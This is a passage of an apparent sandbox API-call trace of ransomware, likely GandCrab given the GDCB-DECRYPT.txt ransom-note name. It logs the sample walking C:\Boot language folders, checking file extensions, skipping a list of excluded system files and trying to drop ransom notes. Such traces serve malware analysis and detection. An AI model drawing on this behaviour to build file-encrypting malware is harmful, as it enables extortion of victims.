returned="C:\\Boot\\en-US\\memtest.exe.mui" [0169.463] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.464] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0169.464] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0169.464] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.464] FindNextFileW (in: hFindFile=0x5a4958, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.464] FindClose (in: hFindFile=0x5a4958 | out: hFindFile=0x5a4958) returned 1 [0169.464] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.464] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1 [0169.464] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1 [0169.464] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="es-ES" | out: lpString1="C:\\Boot\\es-ES") returned="C:\\Boot\\es-ES" [0169.464] lstrcatW (in: lpString1="C:\\Boot\\es-ES", lpString2="\\" | out: lpString1="C:\\Boot\\es-ES\\") returned="C:\\Boot\\es-ES\\" [0169.464] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.464] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.464] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.464] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.464] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.464] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.464] lstrlenW (lpString="C:\\Boot\\es-ES\\") returned 14 [0169.464] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="*" | out: lpString1="C:\\Boot\\es-ES\\*") returned="C:\\Boot\\es-ES\\*" [0169.464] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4b58 [0169.464] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.464] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.465] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.465] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.465] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.465] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.465] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.465] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned="C:\\Boot\\es-ES\\bootmgr.exe.mui" [0169.465] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0169.465] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.465] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.465] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.465] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.465] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt" [0169.465] lstrlenW (lpString="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned 30 [0169.465] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.465] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.465] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.465] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.465] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\es-ES\\memtest.exe.mui") returned="C:\\Boot\\es-ES\\memtest.exe.mui" [0169.465] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0169.465] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.465] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.465] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.465] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.465] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\es-ES\\\\GDCB-DECRYPT.txt") returned 31 [0169.465] CreateFileW (lpFileName="C:\\Boot\\es-ES\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\es-es\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.465] GetLastError () returned 0x50 [0169.465] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.465] lstrlenW (lpString="C:\\Boot\\es-ES\\") returned 14 [0169.465] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="*" | out: lpString1="C:\\Boot\\es-ES\\*") returned="C:\\Boot\\es-ES\\*" [0169.465] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4fd8 [0169.466] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.466] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.466] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.466] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.466] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.466] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.466] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.466] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned="C:\\Boot\\es-ES\\bootmgr.exe.mui" [0169.466] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.466] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0169.466] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0169.466] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.466] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.466] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.466] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.466] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt" [0169.466] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.466] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned 30 [0169.466] lstrlenW (lpString="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned 30 [0169.466] lstrlenW (lpString="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned 30 [0169.466] lstrlenW (lpString="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned 30 [0169.466] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.466] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.466] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.466] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.466] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.466] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.466] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.466] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.466] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.466] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.467] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.467] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.467] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.467] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\es-ES\\memtest.exe.mui") returned="C:\\Boot\\es-ES\\memtest.exe.mui" [0169.467] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.467] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0169.467] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0169.467] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.467] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.467] FindClose (in: hFindFile=0x5a4fd8 | out: hFindFile=0x5a4fd8) returned 1 [0169.467] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.467] lstrcmpW (lpString1="es-MX", lpString2=".") returned 1 [0169.467] lstrcmpW (lpString1="es-MX", lpString2="..") returned 1 [0169.467] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="es-MX" | out: lpString1="C:\\Boot\\es-MX") returned="C:\\Boot\\es-MX" [0169.467] lstrcatW (in: lpString1="C:\\Boot\\es-MX", lpString2="\\" | out: lpString1="C:\\Boot\\es-MX\\") returned="C:\\Boot\\es-MX\\" [0169.467] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.467] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.467] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.467] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.467] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.467] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.467] lstrlenW (lpString="C:\\Boot\\es-MX\\") returned 14 [0169.468] lstrcatW (in: lpString1="C:\\Boot\\es-MX\\", lpString2="*" | out: lpString1="C:\\Boot\\es-MX\\*") returned="C:\\Boot\\es-MX\\*" [0169.468] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4b58 [0169.468] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.468] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.468] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.468] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.468] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.468] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.468] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.468] lstrcatW (in: lpString1="C:\\Boot\\es-MX\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned="C:\\Boot\\es-MX\\bootmgr.exe.mui" [0169.468] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0169.468] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.468] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.468] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.468] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.468] lstrcatW (in: lpString1="C:\\Boot\\es-MX\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt" [0169.468] lstrlenW (lpString="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned 30 [0169.468] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.468] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.468] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.468] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.468] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\es-MX\\\\GDCB-DECRYPT.txt") returned 31 [0169.468] CreateFileW (lpFileName="C:\\Boot\\es-MX\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\es-mx\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.468] GetLastError () returned 0x50 [0169.468] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.469] lstrlenW (lpString="C:\\Boot\\es-MX\\") returned 14 [0169.469] lstrcatW (in: lpString1="C:\\Boot\\es-MX\\", lpString2="*" | out: lpString1="C:\\Boot\\es-MX\\*") returned="C:\\Boot\\es-MX\\*" [0169.469] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4b98 [0169.469] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.469] FindNextFileW (in: hFindFile=0x5a4b98, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.469] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.469] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.469] FindNextFileW (in: hFindFile=0x5a4b98, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.469] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.469] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.469] lstrcatW (in: lpString1="C:\\Boot\\es-MX\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned="C:\\Boot\\es-MX\\bootmgr.exe.mui" [0169.469] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.469] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0169.469] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29 [0169.469] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.469] FindNextFileW (in: hFindFile=0x5a4b98, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.469] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.469] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.469] lstrcatW (in: lpString1="C:\\Boot\\es-MX\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt" [0169.469] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.469] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned 30 [0169.469] lstrlenW (lpString="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned 30 [0169.469] lstrlenW (lpString="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned 30 [0169.469] lstrlenW (lpString="C:\\Boot\\es-MX\\GDCB-DECRYPT.txt") returned 30 [0169.469] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.469] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.469] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.469] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.469] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.469] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.470] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.470] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.470] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.470] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x5a4b98, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.470] FindClose (in: hFindFile=0x5a4b98 | out: hFindFile=0x5a4b98) returned 1 [0169.470] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.470] lstrcmpW (lpString1="et-EE", lpString2=".") returned 1 [0169.470] lstrcmpW (lpString1="et-EE", lpString2="..") returned 1 [0169.470] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="et-EE" | out: lpString1="C:\\Boot\\et-EE") returned="C:\\Boot\\et-EE" [0169.470] lstrcatW (in: lpString1="C:\\Boot\\et-EE", lpString2="\\" | out: lpString1="C:\\Boot\\et-EE\\") returned="C:\\Boot\\et-EE\\" [0169.470] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.470] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.470] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.470] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.470] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.470] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.470] lstrlenW (lpString="C:\\Boot\\et-EE\\") returned 14 [0169.470] lstrcatW (in: lpString1="C:\\Boot\\et-EE\\", lpString2="*" | out: lpString1="C:\\Boot\\et-EE\\*") returned="C:\\Boot\\et-EE\\*" [0169.470] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4b58 [0169.470] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.470] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.470] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.470] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.470] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.470] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.470] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.470] lstrcatW (in: lpString1="C:\\Boot\\et-EE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned="C:\\Boot\\et-EE\\bootmgr.exe.mui" [0169.471] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0169.471] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.471] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.471] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.471] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.471] lstrcatW (in: lpString1="C:\\Boot\\et-EE\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt" [0169.471] lstrlenW (lpString="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned 30 [0169.471] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.471] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.471] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.471] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.471] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\et-EE\\\\GDCB-DECRYPT.txt") returned 31 [0169.471] CreateFileW (lpFileName="C:\\Boot\\et-EE\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\et-ee\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.471] GetLastError () returned 0x50 [0169.471] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.471] lstrlenW (lpString="C:\\Boot\\et-EE\\") returned 14 [0169.471] lstrcatW (in: lpString1="C:\\Boot\\et-EE\\", lpString2="*" | out: lpString1="C:\\Boot\\et-EE\\*") returned="C:\\Boot\\et-EE\\*" [0169.471] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a49d8 [0169.471] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.471] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.471] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.471] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.471] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.471] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.471] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.471] lstrcatW (in: lpString1="C:\\Boot\\et-EE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned="C:\\Boot\\et-EE\\bootmgr.exe.mui" [0169.471] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.472] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0169.472] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29 [0169.472] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.472] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.472] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.472] lstrcatW (in: lpString1="C:\\Boot\\et-EE\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt" [0169.472] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.472] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned 30 [0169.472] lstrlenW (lpString="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned 30 [0169.472] lstrlenW (lpString="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned 30 [0169.472] lstrlenW (lpString="C:\\Boot\\et-EE\\GDCB-DECRYPT.txt") returned 30 [0169.472] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.472] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.472] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.472] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.472] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.472] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.472] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.472] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.472] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.472] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.472] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.472] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.473] lstrcmpW (lpString1="fi-FI", lpString2=".") returned 1 [0169.473] lstrcmpW (lpString1="fi-FI", lpString2="..") returned 1 [0169.473] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fi-FI" | out: 